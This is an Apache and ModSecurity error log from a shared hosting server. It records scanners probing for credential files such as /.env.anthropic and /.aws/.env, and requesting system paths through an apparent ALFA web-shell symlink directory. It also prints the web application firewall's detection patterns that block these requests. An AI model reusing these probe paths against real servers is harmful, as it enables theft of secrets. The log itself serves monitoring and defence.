[Mon Oct 26 22:35:04.860626 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.912251 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.954667 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:04.998316 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.049075 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.091559 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.133756 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.175992 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.218642 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.262792 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.306533 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.349271 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.391511 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.433684 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.476154 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.518433 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.560757 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.603017 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.645455 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.688051 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.709495 2026] [security2:error] [pid 3143279:tid 3143279] [client 52.139.34.95:49357] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "www.hosp1.sherwinpinturas.com"] [uri "/bytkl.php"] [unique_id "auAN2RQzMRo5zrQE7iykRQAAAAQ"]
[Mon Oct 26 22:35:05.709540 2026] [security2:error] [pid 3143279:tid 3143279] [client 52.139.34.95:49357] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "www.hosp1.sherwinpinturas.com"] [uri "/bytkl.php"] [unique_id "auAN2RQzMRo5zrQE7iykRQAAAAQ"]
[Mon Oct 26 22:35:05.730402 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.898501 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.940793 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:05.983706 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.026959 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.086750 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.131113 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.174297 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.189777 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 3.213.213.161:2419] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:06.216716 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.259492 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.301192 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.343563 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.385260 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.426827 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:06.468748 2026] [proxy_fcgi:error] [pid 3142596:tid 3142596] [client 52.139.34.95:49356] AH01071: Got error 'Primary script unknown'
[Mon Oct 26 22:35:10.219795 2026] [ssl:error] [pid 3143278:tid 3143278] (70014)End of file found: [client 18.232.36.1:7342] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:14.437021 2026] [ssl:error] [pid 3122519:tid 3122519] (70014)End of file found: [client 3.229.164.203:60175] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:22.155851 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 18.213.240.226:3729] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:26.202382 2026] [ssl:error] [pid 3143278:tid 3143278] (70014)End of file found: [client 100.29.107.38:8722] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:32.416987 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.38.113.44:48270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-global": Permission denied [hostname "cpcontacts.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcontacts/.gitlab-ci.yml"] [unique_id "auAN9EV4AUzwl86DWirnVwAAABI"]
[Mon Oct 26 22:35:32.417027 2026] [security2:error] [pid 3142605:tid 3142605] [client 34.38.113.44:48270] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/cursodeventas-ip": Permission denied [hostname "cpcontacts.curso-de-ventas.com"] [uri "/___proxy_subdomain_cpcontacts/.gitlab-ci.yml"] [unique_id "auAN9EV4AUzwl86DWirnVwAAABI"]
[Mon Oct 26 22:35:36.077087 2026] [ssl:error] [pid 3142580:tid 3142580] (70014)End of file found: [client 35.170.205.140:17803] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:42.156808 2026] [ssl:error] [pid 3144855:tid 3144855] (70014)End of file found: [client 54.92.171.106:33563] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:46.152767 2026] [ssl:error] [pid 3144856:tid 3144856] (70014)End of file found: [client 3.210.29.96:2489] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:46.863211 2026] [core:error] [pid 3144821:tid 3144821] (13)Permission denied: [client 185.191.171.18:40836] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iommu_iova/cache_dma
[Mon Oct 26 22:35:50.165548 2026] [ssl:error] [pid 3142596:tid 3142596] (70014)End of file found: [client 44.208.223.68:62727] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:35:58.211252 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 52.45.77.169:5656] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:36:02.349664 2026] [ssl:error] [pid 3144820:tid 3144820] (70014)End of file found: [client 98.83.178.66:26125] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:36:08.693943 2026] [security2:error] [pid 3144856:tid 3144856] [client 16.216.88.234:8192] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "auAOGCOodMWIbKjvKGh73wAAABk"]
[Mon Oct 26 22:36:08.694388 2026] [security2:error] [pid 3144856:tid 3144856] [client 16.216.88.234:8192] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "auAOGCOodMWIbKjvKGh73wAAABk"]
[Mon Oct 26 22:36:08.694706 2026] [security2:error] [pid 3144856:tid 3144856] [client 16.216.88.234:8192] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/etc/apache2/conf.modules.d/265_mod_mime.conf"] [unique_id "auAOGCOodMWIbKjvKGh73wAAABk"]
[Mon Oct 26 22:36:14.348819 2026] [ssl:error] [pid 3143279:tid 3143279] (70014)End of file found: [client 34.225.138.57:11549] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:36:34.226421 2026] [ssl:error] [pid 3144856:tid 3144856] (70014)End of file found: [client 98.82.40.168:62172] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:36:34.568438 2026] [security2:error] [pid 3142596:tid 3142596] [client 185.191.171.18:59514] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".conf"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/stunnel/stunnel-pop3s-client.conf"] [unique_id "auAOMvYA9VE6YOVz3TBNqQAAABE"]
[Mon Oct 26 22:36:34.568832 2026] [security2:error] [pid 3142596:tid 3142596] [client 185.191.171.18:59514] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/stunnel/stunnel-pop3s-client.conf"] [unique_id "auAOMvYA9VE6YOVz3TBNqQAAABE"]
[Mon Oct 26 22:36:34.569269 2026] [security2:error] [pid 3142596:tid 3142596] [client 185.191.171.18:59514] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): URL file extension is restricted by policy"] [tag "event-correlation"] [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/doc/stunnel/stunnel-pop3s-client.conf"] [unique_id "auAOMvYA9VE6YOVz3TBNqQAAABE"]
[Mon Oct 26 22:36:38.225261 2026] [ssl:error] [pid 3143279:tid 3143279] (70014)End of file found: [client 52.204.89.12:62301] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:36:42.135774 2026] [ssl:error] [pid 3144834:tid 3144834] (70014)End of file found: [client 54.84.250.51:5006] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:36:48.309210 2026] [ssl:error] [pid 3144836:tid 3144836] (70014)End of file found: [client 185.191.171.4:10490] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:36:52.340723 2026] [core:error] [pid 3144820:tid 3144820] (13)Permission denied: [client 185.191.171.2:34684] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/processor/parameters/nocst
[Mon Oct 26 22:37:02.160074 2026] [ssl:error] [pid 3144856:tid 3144856] (70014)End of file found: [client 34.206.249.188:27886] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:37:10.159622 2026] [ssl:error] [pid 3144834:tid 3144834] (70014)End of file found: [client 18.214.186.220:9429] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:37:42.192147 2026] [core:error] [pid 3144834:tid 3144834] (13)Permission denied: [client 52.44.174.136:42361] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory1/node0/cpu1/subsystem/drivers/processor/unbind
[Mon Oct 26 22:37:50.159499 2026] [ssl:error] [pid 3142595:tid 3142595] (70014)End of file found: [client 44.197.76.210:50966] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:37:50.769055 2026] [core:error] [pid 3144820:tid 3144820] (13)Permission denied: [client 185.191.171.13:58188] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-1k/objs_per_slab
[Mon Oct 26 22:37:54.136344 2026] [ssl:error] [pid 3142605:tid 3142605] (70014)End of file found: [client 98.82.40.168:46531] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:37:59.011761 2026] [ssl:error] [pid 3144821:tid 3144821] (70014)End of file found: [client 54.80.185.200:16308] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:38:02.143412 2026] [core:error] [pid 3144856:tid 3144856] (13)Permission denied: [client 3.218.35.239:11657] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/hpet/bind
[Mon Oct 26 22:38:18.188024 2026] [core:error] [pid 3142595:tid 3142595] (13)Permission denied: [client 52.71.218.25:52633] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0C0F:00/subsystem/uevent
[Mon Oct 26 22:38:22.147115 2026] [ssl:error] [pid 3144821:tid 3144821] (70014)End of file found: [client 98.82.107.102:22430] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:38:26.248421 2026] [ssl:error] [pid 3144820:tid 3144820] (70014)End of file found: [client 3.221.156.96:57995] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:38:34.299418 2026] [ssl:error] [pid 3143279:tid 3143279] (70014)End of file found: [client 3.232.39.98:17157] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:39:02.263379 2026] [ssl:error] [pid 3144852:tid 3144852] (70014)End of file found: [client 52.2.83.227:37515] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:39:06.244003 2026] [ssl:error] [pid 3142596:tid 3142596] (70014)End of file found: [client 23.21.179.120:21347] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:39:10.136620 2026] [ssl:error] [pid 3137125:tid 3137125] (70014)End of file found: [client 34.206.193.60:5742] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:39:26.203904 2026] [security2:error] [pid 3144856:tid 3144856] [client 192.144.133.168:39700] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "www.curso-de-ventas.com"] [uri "/"] [unique_id "auAO3iOodMWIbKjvKGh77AAAABk"]
[Mon Oct 26 22:39:26.204796 2026] [authz_core:error] [pid 3144856:tid 3144856] [client 192.144.133.168:39700] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:39:38.216883 2026] [authz_core:error] [pid 3144836:tid 3144836] [client 34.79.12.228:36536] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Mon Oct 26 22:39:38.251137 2026] [ssl:error] [pid 3144820:tid 3144820] (70014)End of file found: [client 54.80.185.200:50516] AH02013: coalesce failed to read from data bucket
[Mon Oct 26 22:39:38.485130 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.anthropic"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "auAO6rtiWD9g5qPk3WNePQAAAAc"]
[Mon Oct 26 22:39:38.485396 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "auAO6rtiWD9g5qPk3WNePQAAAAc"]
[Mon Oct 26 22:39:38.485733 2026] [security2:error] [pid 3144821:tid 3144821] [client 34.79.12.228:36548] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env.anthropic"] [unique_id "auAO6rtiWD9g5qPk3WNePQAAAAc"]
[Mon Oct 26 22:39:38.627506 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.aws/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "auAO6ix89dM6HoCaCT-ngQAAABU"]
[Mon Oct 26 22:39:38.627917 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "auAO6ix89dM6HoCaCT-ngQAAABU"]
[Mon Oct 26 22:39:38.628384 2026] [security2:error] [pid 3144852:tid 3144852] [client 34.79.12.228:36580] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.aws/.env"] [unique_id "auAO6ix89dM6HoCaCT-ngQAAABU"]
[Mon Oct 26 22:39:38.641862 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-sample"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "auAO6vYA9VE6YOVz3TBNtgAAABE"]
[Mon Oct 26 22:39:38.642077 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "auAO6vYA9VE6YOVz3TBNtgAAABE"]
[Mon Oct 26 22:39:38.642429 2026] [security2:error] [pid 3142596:tid 3142596] [client 34.79.12.228:36596] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "curso-de-ventas.com"] [uri "/.env-sample"] [unique_id "auAO6vYA9VE6YOVz3TBNtgAAABE"]
[Mon Oct 26 22:39:38.649188 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env-example"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "auAO6nfB5_cr2AuVp7R4FwAAABA"]
[Mon Oct 26 22:39:38.649488 2026] [security2:error] [pid 3142595:tid 3142595] [client 34.79.12.228:36576] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "curso-de-ventas.com"] [uri "/.env-example"] [unique_id "auAO6nfB5_cr2AuVp7R4FwAAABA"]
